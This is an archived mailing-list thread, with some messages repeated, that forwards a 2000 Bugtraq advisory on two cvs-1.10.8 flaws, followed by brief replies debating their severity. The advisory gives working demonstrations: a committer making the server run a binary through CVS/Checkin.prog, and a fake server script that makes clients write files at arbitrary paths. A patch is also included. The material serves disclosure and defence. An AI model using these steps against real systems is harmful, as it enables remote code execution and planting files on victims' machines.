[akr@M17N.ORG: cvs security problem]

[akr@M17N.ORG: cvs security problem]

[Ian Lance Taylor]

This looks like a serious security problem.  It appears to open
anonymous CVS servers to a wide range of attack.

Ian

------- Start of forwarded message -------
To: BUGTRAQ@SECURITYFOCUS.COM
Date:         Fri, 28 Jul 2000 17:21:28 +0900
From: Tanaka Akira <akr@M17N.ORG>
Subject:      cvs security problem

I found two security problems in cvs-1.10.8.

(1) A committer can execute any binary in server using
    CVS/Checkin.prog or CVS/Update.prog.

A committer can execute arbitrary binary on a cvs server using
Checkin.prog.  Usually CVS/Checkin.prog in a working directory is
copied from CVSROOT/modules when the directory is checkouted and it is
sent back to the server and executed with committing.  Note that when
it is executed, committed files are exsists in a current directory.

Since a working directory can be modified by a committer which have
the working directory, Checkin.prog may be modified or even newly
created.  If an evil committer do it, cvs server executes such forged
Checkin.prog.  Also note that the evil committer can create arbitrary
binary file by `cvs add -kb' and `cvs commit'.  So the evil committer
can execute just committed binary file by via Checkin.prog triggerd by
the `cvs commit'.

Note that similar problem exists with CVS/Update.prog.

Following example is that a committer sends `ls' binary and executes
in the server.  (it assumes that the server and the client is same
architecture.)

% cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule
cvs server: Updating somemodule
% cd somemodule
% cp /bin/ls binary
% cvs add -kb binary
cvs server: scheduling file `binary' for addition
cvs server: use 'cvs commit' to add this file permanently
% echo ./binary > CVS/Checkin.prog
% cvs commit -m 'test'
cvs commit: Examining .
RCS file: /tmp/cvs/somemodule/binary,v
done
Checking in binary;
/tmp/cvs/somemodule/binary,v  <--  binary
initial revision: 1.1
done
cvs server: Executing ''./binary' '/tmp/cvs/somemodule''
#cvs.lock
#cvs.wfl.serein.m17n.org.14330
binary,v

This problem can be fixed by disabling two requests.

- --- server.c-   Fri Apr 28 15:37:13 2000
+++ server.c    Fri Apr 28 15:38:06 2000
@@ -4553,8 +4553,6 @@
   REQ_LINE("Max-dotdot", serve_max_dotdot, 0),
   REQ_LINE("Static-directory", serve_static_directory, 0),
   REQ_LINE("Sticky", serve_sticky, 0),
- -  REQ_LINE("Checkin-prog", serve_checkin_prog, 0),
- -  REQ_LINE("Update-prog", serve_update_prog, 0),
   REQ_LINE("Entry", serve_entry, RQ_ESSENTIAL),
   REQ_LINE("Kopt", serve_kopt, 0),
   REQ_LINE("Checkin-time", serve_checkin_time, 0),

(2) cvs server can instruct to create any file at any locaiton in
    client machine.

With cvs protocol, client side paths are processed by server and
client blindly trusts paths in server responses, cvs server can create
any file at any locaiton in client machine.

For example, if a client tries to checkout a module `tst' as:

% cvs -f -d :ext:user@server:/cvsroot co tst

and server includes a dangerous response as follows to its responses,
the cilent creates /tmp/foo.

Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc

This problem can be test yourself as follows.  Although this example
runs faked cvs server using :ext: method, this vulnerability is
available in any methods (including :pserver: of course).

% ls -l /tmp/foo
ls: /tmp/foo: No such file or directory
% cat crackers-cvs-server
#!/bin/sh

cat <<'End'
Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot Static-directory Sticky Checkin-prog Update-prog Entry Kopt Checkin-time Modified Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx Global_option Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt expand-modules ci co update diff log add remove update-patches gzip-file-contents status rdiff tag rtag import admin export history release watch-on watch-off watch-add watch-remove watchers editors init annotate noop
ok
Module-expansion tst
ok
Clear-sticky tst/
/cvsroot/tst/
Clear-static-directory tst/
/cvsroot/tst/
E cvs server: Updating tst
Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
ok
End
% CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst
cvs server: Updating tst
cvs checkout: in directory /tmp:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs checkout: cannot open CVS/Entries.Log: No such file or directory
% ls -l /tmp/foo
- -rw-r--r--  1 akr  wheel  4 Jul 19 22:01 /tmp/foo
% cat /tmp/foo
abc

Currently, I don't have a patch to fix this problem.
- --
Tanaka Akira
------- End of forwarded message -------

Re: [akr@M17N.ORG: cvs security problem]

[Ian Lance Taylor]

   Date: 28 Jul 2000 13:49:13 -0700
   From: Ian Lance Taylor <ian@zembu.com>

   This looks like a serious security problem.  It appears to open
   anonymous CVS servers to a wide range of attack.

Actually, the current conclusion on bug-cvs is that anonymous servers
are safe.

Ian

Re: [akr@M17N.ORG: cvs security problem]

[Jason Molenda]

On Fri, Jul 28, 2000 at 01:49:13PM -0700, Ian Lance Taylor wrote:
> This looks like a serious security problem.  It appears to open
> anonymous CVS servers to a wide range of attack.

Unless I'm misreading, both of these require write permissions to
the repository.

A bad person with write access to a repository already has several
avenues of attack available to him (e.g. commitinfo, loginfo) to
run things on the server.

I've always accepted it as a risk of doing business - if someone
were to compromise the system via cvs, at least logging messages
should go out and people could take action after the fact.

Jason

Re: [akr@M17N.ORG: cvs security problem]

[Jason Molenda]

On Fri, Jul 28, 2000 at 01:49:13PM -0700, Ian Lance Taylor wrote:
> This looks like a serious security problem.  It appears to open
> anonymous CVS servers to a wide range of attack.

Unless I'm misreading, both of these require write permissions to
the repository.

A bad person with write access to a repository already has several
avenues of attack available to him (e.g. commitinfo, loginfo) to
run things on the server.

I've always accepted it as a risk of doing business - if someone
were to compromise the system via cvs, at least logging messages
should go out and people could take action after the fact.

Jason

[akr@M17N.ORG: cvs security problem]

[Ian Lance Taylor]

This looks like a serious security problem.  It appears to open
anonymous CVS servers to a wide range of attack.

Ian

------- Start of forwarded message -------
To: BUGTRAQ@SECURITYFOCUS.COM
Date:         Fri, 28 Jul 2000 17:21:28 +0900
From: Tanaka Akira <akr@M17N.ORG>
Subject:      cvs security problem

I found two security problems in cvs-1.10.8.

(1) A committer can execute any binary in server using
    CVS/Checkin.prog or CVS/Update.prog.

A committer can execute arbitrary binary on a cvs server using
Checkin.prog.  Usually CVS/Checkin.prog in a working directory is
copied from CVSROOT/modules when the directory is checkouted and it is
sent back to the server and executed with committing.  Note that when
it is executed, committed files are exsists in a current directory.

Since a working directory can be modified by a committer which have
the working directory, Checkin.prog may be modified or even newly
created.  If an evil committer do it, cvs server executes such forged
Checkin.prog.  Also note that the evil committer can create arbitrary
binary file by `cvs add -kb' and `cvs commit'.  So the evil committer
can execute just committed binary file by via Checkin.prog triggerd by
the `cvs commit'.

Note that similar problem exists with CVS/Update.prog.

Following example is that a committer sends `ls' binary and executes
in the server.  (it assumes that the server and the client is same
architecture.)

% cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule
cvs server: Updating somemodule
% cd somemodule
% cp /bin/ls binary
% cvs add -kb binary
cvs server: scheduling file `binary' for addition
cvs server: use 'cvs commit' to add this file permanently
% echo ./binary > CVS/Checkin.prog
% cvs commit -m 'test'
cvs commit: Examining .
RCS file: /tmp/cvs/somemodule/binary,v
done
Checking in binary;
/tmp/cvs/somemodule/binary,v  <--  binary
initial revision: 1.1
done
cvs server: Executing ''./binary' '/tmp/cvs/somemodule''
#cvs.lock
#cvs.wfl.serein.m17n.org.14330
binary,v

This problem can be fixed by disabling two requests.

- --- server.c-   Fri Apr 28 15:37:13 2000
+++ server.c    Fri Apr 28 15:38:06 2000
@@ -4553,8 +4553,6 @@
   REQ_LINE("Max-dotdot", serve_max_dotdot, 0),
   REQ_LINE("Static-directory", serve_static_directory, 0),
   REQ_LINE("Sticky", serve_sticky, 0),
- -  REQ_LINE("Checkin-prog", serve_checkin_prog, 0),
- -  REQ_LINE("Update-prog", serve_update_prog, 0),
   REQ_LINE("Entry", serve_entry, RQ_ESSENTIAL),
   REQ_LINE("Kopt", serve_kopt, 0),
   REQ_LINE("Checkin-time", serve_checkin_time, 0),

(2) cvs server can instruct to create any file at any locaiton in
    client machine.

With cvs protocol, client side paths are processed by server and
client blindly trusts paths in server responses, cvs server can create
any file at any locaiton in client machine.

For example, if a client tries to checkout a module `tst' as:

% cvs -f -d :ext:user@server:/cvsroot co tst

and server includes a dangerous response as follows to its responses,
the cilent creates /tmp/foo.

Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc

This problem can be test yourself as follows.  Although this example
runs faked cvs server using :ext: method, this vulnerability is
available in any methods (including :pserver: of course).

% ls -l /tmp/foo
ls: /tmp/foo: No such file or directory
% cat crackers-cvs-server
#!/bin/sh

cat <<'End'
Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot Static-directory Sticky Checkin-prog Update-prog Entry Kopt Checkin-time Modified Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx Global_option Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt expand-modules ci co update diff log add remove update-patches gzip-file-contents status rdiff tag rtag import admin export history release watch-on watch-off watch-add watch-remove watchers editors init annotate noop
ok
Module-expansion tst
ok
Clear-sticky tst/
/cvsroot/tst/
Clear-static-directory tst/
/cvsroot/tst/
E cvs server: Updating tst
Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
ok
End
% CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst
cvs server: Updating tst
cvs checkout: in directory /tmp:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs checkout: cannot open CVS/Entries.Log: No such file or directory
% ls -l /tmp/foo
- -rw-r--r--  1 akr  wheel  4 Jul 19 22:01 /tmp/foo
% cat /tmp/foo
abc

Currently, I don't have a patch to fix this problem.
- --
Tanaka Akira
------- End of forwarded message -------

Re: [akr@M17N.ORG: cvs security problem]

[Ian Lance Taylor]

   Date: 28 Jul 2000 13:49:13 -0700
   From: Ian Lance Taylor <ian@zembu.com>

   This looks like a serious security problem.  It appears to open
   anonymous CVS servers to a wide range of attack.

Actually, the current conclusion on bug-cvs is that anonymous servers
are safe.

Ian